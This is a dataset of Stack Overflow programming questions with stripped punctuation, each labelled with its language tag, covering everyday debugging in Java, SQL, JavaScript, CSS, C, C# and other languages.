objective c : uibutton not displayed <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/12854195/c-function-calling-objective-c-functions >c function calling objective c functions</a>    </blockquote>     i ve done the following code in viewcontroller.m   <pre><code>-(void) callincomingcreatebutton {          uibutton *button = [uibutton buttonwithtype:uibuttontyperoundedrect];          //set the position of the button         button.frame = cgrectmake(100  170  100  30);          //set the button s title         [button settitle:@ click me!  forstate:uicontrolstatenormal];          //add the button to the view         [self.view addsubview:button]; }  - (ibaction)democall:(id)sender {      callincoming(1   a ); }  int callincoming(int a  char* b) {     viewcontroller * tempobj = [[viewcontroller alloc] init];     [tempobj callincomingcreatebutton];      return a;  } </code></pre>   but still the uibutton is not getting displayed  what am i missing here.    edit : this is for ios and yes  the function does get called. i put a breakpoint and stepped it through.,objective-c
how we add different unit rates and sum up and show the result  i want to add unit.if unit is more than <strong><em>300</em></strong> then there price of per unit is different for example if unit is within <em>300</em> it multiply with <strong>3 /per</strong> unit but i want if we have more than <em>300</em> unit then more than <em>300</em> unit multiply with 13.330 and add the result of <em>300</em> units and more than <em>300</em> units and give a result  for example total unit is <strong>364</strong> and <code>(300*10.200)=3060</code> and more than <em>300</em> unit that which is <code>(64*13.300) = 851.2</code> according to total unit then want the add the sum of both to show the result   <pre><code>scanner input=new scanner(system.in);      double unit1   unit2  total_unit ;      system.out.print( enter total unit );     unit1 = input.nextint();     unit2 = input.nextint();              if(unit1 &lt;= 300){         unit1 = unit1 * 10.20;         system.out.println( bill less than 300   + unit1);               }      if(unit2 &gt; 300){         unit2 = unit2 * 13.20;         system.out.println( bill greatr than 300  + unit1);                  }             total_unit = unit1 + unit2;     system.out.println( total bill is  + total_unit);            } </code></pre>,java
how can i exit this while loop and make it so when someone types    quit  the program will terminate <pre><code>import java.util.scanner; public class rectangleobj { public static void main(string args[]) {     string speri =  perimeter ;     string sarea =  area ;     string sques =    ;     string squit =  quit ;     string f;     string g;     string h;     string j;      scanner sc = new scanner(system.in);      while(sc.hasnext()){         f = sc.next(); // assigns the first standard input to f (can either be   or quit)         g = sc.next(); // assigns the second word from standard input to g (can either be perimeter or area)         if(f.equals(sques)) { // if first word is equal to     then the if statements continue             if (g.equals(speri)) { // if the second word is equal to  perimeter  print out result                 double a = sc.nextdouble()  // assigns next four doubles to a  b  c  d                        b = sc.nextdouble()                         c = sc.nextdouble()                         d = sc.nextdouble();                 rectangle3 r = new rectangle3(a  b  c  d); // creates an object of rectangle3 with dimensions of a  b  c  d                 system.out.println( perimeter of (  + r.rectnums() +  ):    + r.rectperi());             } if (g.equals(sarea)) { // if the second word is equal to  area  print out result                 double a = sc.nextdouble()  // assigns next four doubles to a  b  c  d                        b = sc.nextdouble()                         c = sc.nextdouble()                         d = sc.nextdouble();                 rectangle3 r = new rectangle3(a  b  c  d); // creates an object of rectangle3 with dimensions of a  b  c  d                 system.out.println( area of (  + r.rectnums() +  ):   + r.rectarea());             }     }     }     } }        </code></pre>   i want the while loop to end naturally without using system.exit(0); or break; please help!    ideally if someone types    quit  the program will end.    i don t receive any errors  the loop just continues forever... not sure what to do at this point.,java
issue constructing sql join query  i m trying to construct an sql query that selects data from both tables but it doesn t seem to be working:   <pre><code>select distinct name $price  from room  where capacity&gt;=$partysize  join room_booking on room.room_id=room_booking.room_id  where date_booked&lt;&gt; $us_date ; </code></pre>   what am i doing wrong,sql
mysql query - cannot determine how to write specific query  i simply cannot figure out how i should write my mysql query to get the correct result.      i have a table which contains the following structure:    <a href= https://i.stack.imgur.com/5bvit.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/5bvit.jpg  alt= enter image description here ></a>    i need to write a query which returns a total count of all distinct <code>ronumbers</code> which contain the following parameters:    1) must have a <code>serviceid</code> of 1    2) must also have a <code>serviceid</code> greater than 1    3) the <code>serviceid</code> s that are greater than 1 must all have a decsvc of 1    4) if #3 is anything other than decsvc of 1  that ronumber is disqualified    in simple terms  return a count of all distinct ronumbers that have a serviceid of 1 and <code>serviceid</code>(s) greater than 1 that are only declined services (<code>decsvc = 1</code>).    i have tried the following queries:    1)   <pre><code>$query =  select a.ronumber from servicerendered_welr a left join servicerendered_welr b on (a.ronumber = b.ronumber)  where a.serviceid &gt; 1 and a.decsvc = 1 and a.addsvc = 0 and a.dealerid =  $dealerid  and b.serviceid = 1 group by a.ronumber ; </code></pre>   2)   <pre><code>$query =  select ronumber from servicerendered_welr  where addsvc = 0 and dealerid = $dealerid and ronumber in  (select ronumber from servicerendered_welr where decsvc = 1 and dealerid = $dealerid and ronumber in  (select ronumber from servicerendered_welr where serviceid &gt; 1 and dealerid = $dealerid and ronumber in (select ronumber from servicerendered_welr where serviceid = 1 and dealerid = $dealerid)  group by ronumber)  group by ronumber) group by ronumber ; </code></pre>   these both return the same result set.  the results return <code>ronumber</code>(s) 12 and 16 (<a href= https://i.stack.imgur.com/ziern.jpg  rel= nofollow noreferrer >see servicerendered_welr table</a>).     <a href= https://i.stack.imgur.com/ziern.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ziern.jpg  alt= enter image description here ></a>    my goal would be to have the query return only <code>ronumber</code> 12  pertaining to the above stipulations.  as you can see  <code>ronumber</code> 16 does meet some of the qualifications  but it has <code>serviceid</code> s greater than 1 that have a <code>decsvc = 0</code>  and this is unacceptable.    it is obvious that the query is returning anything that has a <code>serviceid</code> of 1  and a <code>serviceid</code> greater than 1  and at least one <code>serviceid</code> greater than 1 with a  <code>decsvc = 1</code> (and thus it is not ruling out the other <code>decsvc = 0</code> items).    maybe i need to delve into virtual tables     please see my sqlfiddle here: <a href= http://sqlfiddle.com/#!9/5e45c/3  rel= nofollow noreferrer >http://sqlfiddle.com/#!9/5e45c/3</a> .,mysql
pass a condition occurring within a foreach loop as a parameter  i have a method for adding data from some student objects in a list to a datatable. the method checks for students in the studentlist that meet a certain condition and then adds them to the datatable.     i want to specify the condition in the parameter  however i (understandably) get an error when i try to pass in <strong>s.status</strong> as my second string parameter  since <strong>s</strong> doesn t come into play until the foreach loop starts. is there a way to make this work            <pre><code>    public void adddatatablerows(datatable datatable  string field  string condition)     {        foreach (student s in studentlist)        {            if (field == condition)            {                datatable.rows.add(s.name                      s.totaldays                      s.improveoverall                     s.totalclassdays                     s.instructor                     s.grade);            }         }    } </code></pre>   the call that i want to make   <pre><code>adddatatablerows(datatable1  s.status   active ); </code></pre>,c#
python multipul event timer  i have a water pump with pressure sensors. one on the input (low) and one on the output (high). my problem is my low pressure sensor. sometimes the low pressure is just at the cut-off point causing the motor to start and stop quickly - this is not desirable. the system is running on a home-made pls.     i m a beginner at programming  3 months  but the system is working for the most part. i need help on creating a timer between low pressure alarm events. i am thinking that the system can have 3 events within 30 seconds  but if any one event occurs in less than 5 seconds the system should shut down.     so  if less than 5 seconds between the first event and second event the motor shuts down for good. the same goes for for second to third and third to fourth event. on the fourth event if less than 30 seconds occurs between first event and the fourth  the system also shuts down for good. keep in mind that this is a part of a much larger loop. here is the code i was able to create:   <pre><code>def systemofftimer():     eventcounter = (0)     onetimeloopvarable = (0)     while true         if (is_low_pressure_alarm_on() and (onetimeloopvarable ==0)):             timer = time.time()             eventcounter = eventcounter + (1)             onetimeloopvarable = 1               if eventcounter == (2) and (time.time() - timer &gt;= (10))                 eventcounter = eventcounter + (1)                 stop_motor()               if eventcounter == (3) and (time.time() - timer &gt;= (20))                 eventcounter = eventcounter + (1)                 stop_motor()              if eventcounter == (4) and (time.time() - timer &gt;= (30))                 eventcounter = eventcounter + (1)                 stop_motor()         else:             start_motor() </code></pre>,python
application start  the asp.net user identity is not available in application.start which allows writing to database. (web site is running on a shared host  so i could not configure permissions as i need.) so  i implemented the following in global.asax. i am not sure if its completely thread safe. i want to remove the delegate to eliminate lock checking for optimizing performance.    i wonder if the  if (thefirstreq != null)  may fail. thanks   <pre><code>delegate void firstrequest(); static volatile firstrequest thefirstreq; static object objlock = new object();   void application_start(object sender  eventargs e)  {     // code that runs on application startup     appstartdatetime = datetime.now;     thefirstreq = firstreq; }  void firstreq() {     lock (objlock)     {         if (thefirstreq == null)             return;         thefirstreq = null;         // log application start.     } }  protected void application_beginrequest(object sender  eventargs e) {     if (thefirstreq != null)         thefirstreq(); } </code></pre>,asp.net
overflow to left and top   if an element has <code>overflow: auto</code> or <code>overflow: scroll</code>  and its contents overflow  then scrollbars are shown... but only if the content overflows to the right or off the bottom.    is it possible for the <code>overflow</code> to apply scrollbars if content is overflowing to the left  or off the top,css
maximum number of arguments in javascript function  mdn says that   <blockquote>    a function can have up to 255 arguments.  </blockquote>   <a href= https://developer.mozilla.org/en-us/docs/web/javascript/reference/functions  rel= nofollow >https://developer.mozilla.org/en-us/docs/web/javascript/reference/functions</a>    but actually it can have even more   <pre><code>var params = _.range(2048); var $ul = $( ul ); var items =   ; var template = _.template( &lt;li&gt;arg # &lt;%- arg %&gt;&lt;/li&gt; );  function foo() {     _.each(arguments  function (arg) {         items += template({arg: arg});     });      $ul.html(items); }  foo.apply(foo  params); </code></pre>   <a href= https://jsfiddle.net/dtseen4v/  rel= nofollow >https://jsfiddle.net/dtseen4v/</a>    what is wrong,javascript
multiple login using devise  suppose i have 2 model employer and candidate. i had used devise to login from candidate and employer.    but when i check candidate_signed_in  and employer_signed_in  it return true for both.    i want that if my candidate is signed in then at that time employer cannot signed in and vice versa. so  help me to resolve this issue,ruby-on-rails
c program crash inverse file txt  i m creating a program in c. i want this program to invert a txt file  avec geojson coordinates.    the program is running good  but when the txt file is too long  the programe crash....! i think there is a problem with the memory but i don t find how to solucionate it.    thanks in advance !    there my main.c :   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include  pile.h  #include  pile_function.h   #define taille_max 5000 // tableau de taille 1000     int main(int argc  char *argv[]) {  file* fichier = null; file* fichier_creer = null; char chaine[taille_max] =   ; // chaîne vide de taille taille_max char concat[taille_max] =   ; char final[taille_max] =   ; const char s[2] =  ] ;   char *token = malloc(sizeof(*token));  pile *tas;   if ((tas = (pile *) malloc (sizeof (pile))) == null)      return -1;  initialisation (tas);       fichier = fopen(argv[1]   r+ );     if (fichier != null)         {             // on peut lire et écrire dans le fichier         printf( ouverture du fichier\n );           fgets(chaine  taille_max  fichier);           fichier_creer = fopen( fichier_inverser.txt    a+ );          if (fichier != null)              {              printf( ouverture du fichier_creer\n );                   /* get the first token */                token = strtok(chaine  s);                 /* walk through other tokens */                while( token != null )                {                    strcpy(concat  token);                   strcat(concat  s);                     empiler(tas  concat);                   token = strtok(null  s);                   memset (concat  0  sizeof (concat));                }                     while( tas-&gt;taille != 0 )                   {                        strcpy (final  depiler(tas));                       fputs(final  fichier_creer);                   }                printf( \nfichier mise a jour\n );              fclose(fichier_creer);              printf( \nfermeture du fichier du fichier_creer\n );              }               else             {              printf( impossible d ouvrir le fichier_creer );            }           fclose(fichier);          printf( fermeture du fichier du fichier\n );         }         else         {            printf( impossible d ouvrir le fichier );         } return exit_success; } </code></pre>   there is my pile.h :   <pre><code>typedef struct elementliste{ char *donnee; struct elementliste *suivant;  } element;  typedef struct listerepere{ element *debut; int taille; } pile;   /* initialisation */ void initialisation (pile *tas);  /* empiler*/ int empiler (pile *tas  char *donnee);  /* depiler*/ char *depiler (pile *tas);  /* affichage de élément en haut de la pile (lastinfirstout) */ #define pile_donnee(tas)  tas-&gt;debut-&gt;donnee  /* affiche la pile */ void affiche (pile *tas); </code></pre>   there is my pile_function.h:   <pre><code>void initialisation (pile * tas){ tas-&gt;debut = null; tas-&gt;taille = 0; }   int empiler (pile * tas  char *donnee){ element *nouveau_element;  if ((nouveau_element = (element *) malloc (sizeof (element))) == null)    return -1;  if ((nouveau_element-&gt;donnee = (char *) malloc (50 * sizeof (char))) == null)    return -1;  strcpy (nouveau_element-&gt;donnee  donnee);  nouveau_element-&gt;suivant = tas-&gt;debut;  tas-&gt;debut = nouveau_element;  tas-&gt;taille++; }  char *depiler(pile *pile) {  if (pile == null)   {     exit(exit_failure);   } char *chaine =  malloc(sizeof(*chaine)); element *elementdepile = pile-&gt;debut;  if (pile != null &amp;&amp; pile-&gt;debut != null)  {     strcpy (chaine  elementdepile-&gt;donnee);     pile-&gt;debut = elementdepile-&gt;suivant;     free(elementdepile);  } pile-&gt;taille--;  return chaine; }   void affiche (pile * tas){  element *courant;  int i;  courant = tas-&gt;debut;   for(i=0;i&lt;tas-&gt;taille;++i){    printf( %s\n   courant-&gt;donnee);    courant = courant-&gt;suivant;  } } </code></pre>   there is for exemple a list of coordinate  it doesn t work :   <pre><code>[2.2528324 49.0413749] [2.2530099 49.0409694] [2.2529714 49.0409477] [2.2529531 49.040845] [2.2528231 49.040697] [2.2525572 49.0405152] [2.2521051 49.0402405] [2.2518017 49.0400133] [2.2515308 49.0397237] [2.2514333 49.0395455] [2.2514103 49.0394521] [2.2514134 49.0393256] [2.25172 49.0383752] [2.2517745 49.0380228] [2.2518929 49.0377766] [2.2520333 49.0375694] [2.2522566 49.0373093] [2.2523922 49.0372076] [2.2525084 49.036936] [2.2528797 49.0363597] [2.2529077 49.0362346] [2.2528555 49.0359416] [2.2527984 49.0358494] [2.2527631 49.0358471] [2.2494004 49.0368099] [2.2445056 49.0382113] [2.2438535 49.0351289] [2.2434025 49.0334159] [2.2433668 49.0333207] [2.2424539 49.0292753] [2.242455 49.0290301] [2.2425994 49.0285152] [2.2425996 49.0284322] [2.241938 49.0267597] [2.241008 49.0254301] [2.2405995 49.0251103] [2.2405338 49.0250148] [2.2404128 49.0247205] [2.2403438 49.0244781] [2.2403436 49.0243775] [2.239998 49.0235028] [2.2399302 49.0233991] [2.2398091 49.0233274] [2.2397032 49.0232808] [2.2395594 49.0232176] [2.2394263 49.0231172] [2.2393327 49.0230396] [2.2392098 49.0229535] [2.2387176 49.0225323] [2.238216 49.0221354] [2.237813 49.0218217] [2.2375089 49.0214585] [2.2373633 49.0215158] [2.2371741 49.0213435] [2.2364466 49.0204618] [2.2363631 49.0202973] [2.2359734 49.0197239] [2.2358766 49.0195764] [2.23573 49.0192646] [2.2356873 49.0192694] [2.235498 49.0189371] [2.2354933 49.0189123] [2.2352065 49.0184121] [2.23519 49.0184137] [2.2350145 49.0184304] [2.2348705 49.0184441] [2.2342795 49.0177464] [2.2340851 49.017802] [2.2338829 49.0175392] [2.2338473 49.017546] [2.2331775 49.0168764] [2.2327003 49.0163514] [2.2326684 49.0163499] [2.231627 49.0154023] [2.2312705 49.0150763] [2.2311292 49.0149744] [2.2302659 49.0144945] [2.2301856 49.0144539] </code></pre>   but with the same list but short   it works :    <pre><code>[2.2528324 49.0413749] [2.2530099 49.0409694] [2.2529714 49.0409477] [2.2529531 49.040845] [2.2528231 49.040697] [2.2525572 49.0405152] [2.2521051 49.0402405] [2.2518017 49.0400133] [2.2515308 49.0397237] [2.2514333 49.0395455] [2.2514103 49.0394521] [2.2514134 49.0393256] [2.25172 49.0383752] [2.2517745 49.0380228] [2.2518929 49.0377766] [2.2520333 49.0375694] [2.2522566 49.0373093] [2.2523922 49.0372076] [2.2525084 49.036936] [2.2528797 49.0363597] </code></pre>   i m a begineer..so maybe i m not doing it good. thanks you for your reply.    jordan,c
hiding span overflow  i am trying to create a combobox style widget (jquery-ui compatible) andcurrently i am trying to get the static layout of the box sorted. the problem is when i have long text in the value area of the select it doesn t clip in firefox (it actually wraps).  i don t want this and tried various combinations overflow:hidden white-space:nowrap etc but in firefox it still wraps.  the sample code is below.   <pre><code>&lt;a href= #  class= ui-widget ui-widget-content ui-custom-button ui-state-default ui-corner-all ui-helper-reset  style= padding-left:5px;text-decoration: none; width: 139px;  &gt;     &lt;span style= float:right;margin-top:1px;border-left:1px solid #d3d3d3;  class= ui-custom-button-icon ui-icon ui-icon-triangle-1-s  &gt;&lt;/span&gt;     &lt;span style= line-height:1.5em;font-size:10px;margin-top:1px;overflow:hidden;height:16px; &gt;if the text is very long then somethin&lt;/span&gt; &lt;/a&gt; </code></pre>   can anyone offer any help on this,css
image thumbnail and resize  i have a code of picture resizing and image thumbnail working fine but it only support 3mb maximum file size. i want to increase the file size limit to atleast 10 to 12mb. anyone can do for me   thanks    <pre><code>   using system;    using system.data;    using system.configuration;    using system.web;    using system.web.security;    using system.web.ui;    using system.web.ui.webcontrols;    using system.web.ui.webcontrols.webparts;    using system.web.ui.htmlcontrols;     public partial class _default : system.web.ui.page     {     protected void page_load(object sender  eventargs e)      {    }        protected void upload_click(object sender  eventargs e)      {     if (fileupload1.hasfile)      {          fileupload1.saveas(mappath( image/  + fileupload1.filename));          system.drawing.image img1 = system.drawing.image.fromfile(mappath( image/ ) + fileupload1.filename);                system.drawing.image bmp1 = img1.getthumbnailimage(50  50  null  intptr.zero);          bmp1.save(mappath( thumbnail/s/ ) + fileupload1.filename);          system.drawing.image bmp2 = img1.getthumbnailimage(100  100  null  intptr.zero);          bmp2.save(mappath( thumbnail/l/ ) + fileupload1.filename);          normalimage.imageurl =  image/  + fileupload1.filename;         thumbnailimages.imageurl =  thumbnail/s/  + fileupload1.filename;         thumbnailimagem.imageurl =  thumbnail/l/  + fileupload1.filename;     } } </code></pre>,asp.net
how to classify class  function and function property in javascript   i ve 3 objects like these:   <pre><code>class person {     constructor(name  age) {         this._name = name;         this._age = age;     } }  let add = function (a  b) {     return a + b };  let math = {     multiply: function (x  y) {         return x * y     } }; </code></pre>   as you can <code>see</code>  <code>person</code> is a class  <code>add</code> and <code>math.multiply</code> are functions.    my question: how to classify <code>class</code> and <code>functions</code> in this case     my question comes from: <code>person</code> looks like a function  like this:   <pre><code>let person = function (name  age) {     this._name = name;     this._age = age; }; </code></pre>   also  there are no problems if i declare an object to get new instance of <code>add</code> function:   <pre><code>let result = new add(2  3); // this is allowed although it just needn t </code></pre>   <a href= https://developer.mozilla.org/en-us/docs/web/javascript/reference/operators/new  rel= nofollow >new operator</a> says:   <blockquote>    the new operator creates an instance of a user-defined object type or   of one of the built-in object types that has a constructor function.  </blockquote>   all of 3 cases  <code>person</code>  <code>add</code> and <code>math.multiply</code> are constructors. so:   <pre><code>let person = new person( hermione   18); // allowed let result = new add(2  3); // allowed result = new math.multiply(2  2); // allowed </code></pre>   then  because all of them are constructors  it s so difficult to classify <code>class</code> and <code>function</code> (for me).    is there a way to achieve that,javascript
looking for more pythonic apporach  just wrote this function...   <pre><code>def nrofleadingchars(stringtotest  testchar= \t ):     count = 0     for c in stringtotest:         if c == testchar:             count = count + 1         else:             return count     return count </code></pre>   however does not feel pythonic  enough   suggestions,python
getelementsbyclassname is space allowed   im trying to get an element but the class name is <code>_2nlw _2nlv</code> it has a space in it.    here is a image to show you that the class name is what it is: <a href= https://i.imgur.com/ddeh1ui.png  rel= nofollow noreferrer >https://i.imgur.com/ddeh1ui.png</a>    the code im using is. <code>var example = document.getelementsbyclassname( _2nlw _2nlv ).innerhtml;</code>    its not working and im wondering if it has something to do with the empty space in the class name  if so whats the solution,javascript
how to add usercontrol into a aspx page loaded by a master page file   i use master page to define the page layout of default.aspx. in the master page i have included contentplaceholder cph. i want to access cph from default.aspx and load the ascx file into cph. how can i do this  i tried the code below in page load event  but it does not work.   <pre><code>     string controlpath =  ~/usercontrols/webusercontrol.ascx ;      usercontrol uc = loadcontrol(controlpath) as usercontrol;      contentplaceholder cph = (contentplaceholder)this.master.findcontrol( cphmain );      if ((cph != null) &amp;&amp; (uc != null))      {           cph.controls.add(uc);      } </code></pre>,asp.net
catch file.exists() securityexception java  i m fairly new to java and after some searching about catching the securityexception for file.exists() i don t see people catching it so i m unsure if i should catch the exception or not. eclipse doesn t complain either way. this is a server expansion plugin and i wont have control when others run it. here s the code for the class:   <pre><code>public class chatchannels {     private javaplugin plugin;     private hashset&lt;chatchannel&gt; chatchannels;     private static chatchannels instance;     file configfile;     fileconfiguration config;      private chatchannels(javaplugin plugin) {         this.plugin = plugin;         configfile = new file(plugin.getdatafolder().getpath()                 .concat(file.separator).concat( data )   channels.yml );         chatchannels = new hashset&lt;chatchannel&gt;();         config = yamlconfiguration.loadconfiguration(configfile);          if (!configfile.exists()) {             return;         }          for (string channelname : config.getstringlist( channels )) {             chatchannels.add(new chatchannel(channelname));         }     }      public static chatchannels getinstance(javaplugin plugin) {         if (instance == null) {             instance = new chatchannels(plugin);         }         return instance;     } } </code></pre>   so  should i catch the exception or is it unnecessary    <pre><code>try {     if (!configfile.exists()) {         return;     } }  catch (securityexception e) {     plugin.getlogger().log(level.severe  configfile.getpath().concat(  read permission denied. )  e); } </code></pre>,java
if helper methods should not interact directly with the database in rails  why do we put @current_user as helper method   i read in <a href= http://johnotander.com/rails/2014/03/07/decorators-on-rails/  rel= nofollow >this blog</a> that helper methods should not interact with the database directly or manipulate data for views. these tasks should be handled by decorators.    if this is the case  why do we typically put the @current_user methods in helper modules  (in rails),ruby-on-rails
mysql update table with value from another table  up front this is for a db class and i m more looking for some assistance rather than an out right  do this to complete the task  answer.    i have a source table with a column that i made into a separate table.    i made a new table that has a foreign key column that will point to the separate table.    i m a little lost as to how i could look up the name from the source table  return the primary key id from the separate table and insert the id into the new table. to help the problem  i added a primary key into the source table and it appears the id s match in my new table,mysql
error : the name  radiobuttonlist1  does not exist in the current context  first excuse me for my bad english    this is my code and when i want to run my web   i m getting this error: the name  radiobuttonlist1  does not exist in the current context   <pre><code>session.add( age   textbox1.text.tostring()); session.add( sex   radiobuttonlist1.selecteditem.value.tostring()); session.add( marr   radiobuttonlist2.selecteditem.value.tostring()); session.add( work   radiobuttonlist3.selecteditem.value.tostring()); </code></pre>   i remove them and use radio buttons but again getting this error    the name  radiobutton1  does not exist in the current context    for this code   <pre><code>session.add( age   textbox1.text.tostring()); if(radiobutton1.checked) {     session.add( sex   male ); } else if(radiobutton2.checked){     session.add( sex   female ); } if(radiobutton3.checked) {     session.add( marr   no ); } else if(radiobutton4.checked){     session.add( marr   yes ); } if(radiobutton5.checked) {     session.add( work   yes ); } else if(radiobutton6.checked){     session.add( work   no ); } </code></pre>  <ul> <li>dont getting error for text box (sorry my english is bad :|)</li> </ul>,asp.net
checking checkbox with jquery  i m trying to set the checked property of checkboxes with jquery  the jquery code is working fine  but i got the problem in codebehind:    <pre><code>particular.click(function () {     company.removeattr( checked );     particular.attr( checked    true ); }); </code></pre>   company and particular are the names of checkboxes  the jquery code is working fine  my problem is in codebehind (.cs file)   <pre><code>if (particular.checked) {     company_name_blank.enableclientscript = false;     cif_blank.enableclientscript = false; } </code></pre>   this is not working because checked property is set on false when actually i m setting it on true as you can see in the jquery code  so where is the mistake   for more explanation  i m trying to disable some requiredfieldvalidators depending on which checkbox is checked  but as i told  checked property is always set on false unless i set it on true by default in the element checked=true  or particular.checked=true in codebehind file  but that is not what i want to. i want to set on true the checked property when i click the checkbox that s why i used jquery.    <strong>update</strong>     my code   <pre><code>protected void page_load(object sender  eventargs e) {     if (particular.checked)     {        company_name_blank.enableclientscript = false;       cif_blank.enableclientscript = false;       contact_name_blank.enableclientscript = false;         contact_cognames_blank.enableclientscript = false;     } }  </code></pre>,jquery
javascript not working on form  can someone tell me why the script in the header tag doesn t work. i can get the form to show up  enter all of my information  click submit but i don t get the output to show up. i ve looked at the code over and over but don t see what the problem is. i would greatly appreciate some help. my teacher at school doesn t help much.    <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;     event scheduler &lt;/title&gt;  &lt;/head&gt; &lt;body&gt; &lt;header&gt; &lt;script&gt;     function scheduledevent(evtdate  evttitle  maxattendees  coordinator         phonenum  email  infourl  printevent)     {         this.evtdate = evtdate;         this.evttitle = evttitle;         this.maxattendees = maxattendees;         this.coordinator = coordinator;         this.phonenum = phonenum;         this.email = email;         this.infourl = infourl;         this.printevent = printevent;          function printevent()         {             document.write( &lt;p&gt;you have scheduled an event named   +   this.evttitle);             document.write(  that will occur on   + this.evtdate +   and allow up to   + this.maxattendees +   attendees. );             document.write( the event is coordinated by   + this.coordinator +   who can be reached at   + this.phonenum);             document.write(  or by email at   + this.email +  .  );             document.write( more information about the event is available at  &lt;a href=    + this.infourl +   &gt;   + this.infourl +  &lt;/a&gt;&lt;/p&gt; );             }         function validate()          {             with (document.evtform)              {              evt = new scheduledevent(evtdate.value  evttitle.value  maxattendees.value  evtcoordinator.value  phonenum.value  email.value  infourl.value);             }              with (evt)             {                 evt.printevent();             }              return true;         } &lt;/script&gt;  &lt;/header&gt; &lt;form name=  evtform  method=  post &gt; &lt;table&gt;  &lt;tr&gt; &lt;td&gt; event date: &lt;/td&gt;&lt;td&gt;&lt;input type= date id=  evtdate  /&gt;&lt;/td&gt;&lt;/td&gt;  &lt;tr&gt;&lt;td&gt;title:&lt;/td&gt;&lt;td&gt;&lt;input id=  evttitle  /&gt;&lt;/td&gt;&lt;/tr&gt;  &lt;tr&gt;&lt;td&gt; maximum attendees: &lt;/td&gt;&lt;td&gt;&lt;input id=  evtcoordinator  /&gt;&lt;td&gt;&lt;/tr&gt;  &lt;tr&gt;&lt;td&gt; phone number (numbers only): &lt;/td&gt;&lt;td&gt;&lt;input type= tel id=  phonenum  /&gt;     &lt;/td&gt;&lt;/tr&gt;  &lt;tr&gt;&lt;td&gt; email: &lt;/td&gt;&lt;td&gt;&lt;input type= email id=  email  /&gt;&lt;/td&gt;&lt;/tr&gt;    &lt;tr&gt;&lt;td&gt;  more info: &lt;/td&gt;&lt;td&gt;&lt;input type= url id=  infourl  /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/table&gt; &lt;input type= submit value=  submit  /&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,javascript
jquery removeclass not removing class  i have this code:   <pre><code>$( .btn-close ).click(function(){     $( body ).removeclass( no-scroll );  }); </code></pre>   i have responsive bar menu  when i open the menu in mobile  it allows two scroll bars  this in menu and body scroll  so first i add class to hide the body overflow  then i wanna to remove this class  but didn`t work. any solutions,jquery
my first code on sql is throwing an error  i am trying to learn sql through oracle live sql. the following is my first code. kindly help me with the error   <pre><code>create table persons  (         personid int          lastname varchar(255)          firstname varchar(255)          address varchar(255)          city varchar(255)      )  insert into persons (person id  lastname  firstname  address  city)    values (103980   ramanathan    arun    chennai    india ) </code></pre>   i get this error:    <blockquote>    ora-00922: missing or invalid option  </blockquote>,sql
giving the blog administration installation the same look as the rest of the sidebar items  at this <a href= http://www.test.webitry.net  rel= nofollow noreferrer >test position</a> there is a sidebar with a blog administration box installed. i want the css to gave it the same layout as the boxes above it. the controlling css is described in the #mainmenu as i have moved this from the top of the blog when i installed the main site navigation. no matter what i do i cannot get it to match the other items in the sidebar!     see image attached.! <img src= https://i.stack.imgur.com/ug085.jpg  alt= enter image description here >,css
can t make background images look the same in firefox and chrome  i was working with jquery validation plugin and have problem.     i m inserting divs. here is my js function to insert it and position:   <pre><code>    errorelement:  div       wrapper:  div    // a wrapper around the error message     errorplacement: function(error  element) {     element.before(error);     offset = element.offset();     error.css( right   offset.right);     error.css( top   offset.top - element.outerheight());     }      success:  valid  </code></pre>   but i m using absolute positioning to add text and background image.    here css what i m uging for valid and invalid inputs:   <pre><code>  div.error{   color:#b76b6f;   width: 250px;   height: 60px;   position: absolute;   margin-left: 180px;   margin-top: -25px;   display: block;   background-color:#f3e6e6;   background: url( ../images/not_valid.png ) no-repeat;   background-position:65% 93%;   text-align: right;   } </code></pre>   but somehow firefox and chrome positioning background images differently. here is screenshot from <strong>firefox:</strong>    <img src= https://i.imgur.com/a9rsf.png  alt=  >    and here is screenshot from <strong>chrome:</strong>    <img src= https://i.imgur.com/0atti.png  alt=  >     i tried to set this attibute    but when i add it my backround disappear    <pre><code>     background-attachment:fixed;  </code></pre>   finally  i m using css reset  but maybe it is not full  :   <pre><code>  html  div span  applet  object  iframe    blockquote  pre    abbr  acronym  address  big  cite  code    del  dfn  em  img  ins  kbd  q  s  samp    small  strike  strong  sub  sup  tt  var    b  u  i  center    dl  dt  dd  ol  ul  li    fieldset  form  label  img legend    table  caption  tbody  tfoot  thead  tr  th  td    article  aside  canvas  details  embed     figure  figcaption  header  hgroup     menu  nav  output  ruby  section  summary  time  mark  audio  video { margin: 0; padding: 0; border: 0; vertical-align: baseline; }  </code></pre>   <b>link to  dropbox - <a href= https://dl.dropbox.com/u/86122402/error.rar  rel= nofollow noreferrer >https://dl.dropbox.com/u/86122402/error.rar</a></b>    can someone tell me why it is happening,css
how to update the recent call log list view in my app in android   i m having an app which shows the recent call logs as a listview.    i need to update the listview simultaneously with recent call logs. i.e. when i have made an  out going call  or got a  missed call   it will shown in the list view on the same time.    how can i achieve this. please advise!    thanks.,android
how to set keypress for input only number with %  i don t know to set keypress on javascript for input only number and % example 100% or 50%    <pre><code>       ----------------------------- </code></pre>   discount : |             50%           |            -----------------------------,javascript
trouble calculating correct decimal digits  i am trying to create a program that will do some simple calculations  but am having trouble with the program not doing the correct math  or placing the decimal correctly  or something. some other people i asked cannot figure it out either.    here is the code: <a href= http://pastie.org/887352  rel= nofollow noreferrer >http://pastie.org/887352</a>    when you enter the following data:   <ul> <li>weekly wage: <strong>500</strong></li> <li>raise: <strong>3</strong></li> <li>years employed: <strong>8</strong></li> </ul>   it outputs the following data:    <pre><code>year   annual salary 1      $26000.00 2      $26780.00 3      $27560.00 4      $28340.00 5      $29120.00 6      $29900.00 7      $30680.00 8      $31460.00 </code></pre>   and it should be outputting:   <pre><code>year   annual salary 1      $26000.00 2      $26780.00 3      $27583.40 4      $28410.90 5      $29263.23 6      $30141.13 7      $31045.36 8      $31976.72 </code></pre>   <em>here is the full description of the task:</em>    8.17 ( pay raise calculator application) develop an application that computes the amount of money an employee makes each year over a user- specified number of years. assume the employee receives a pay raise once every year. the user specifies in the application the initial weekly salary  the amount of the raise (in percent per year) and the number of years for which the amounts earned will be calculated. the application should run as shown in fig. 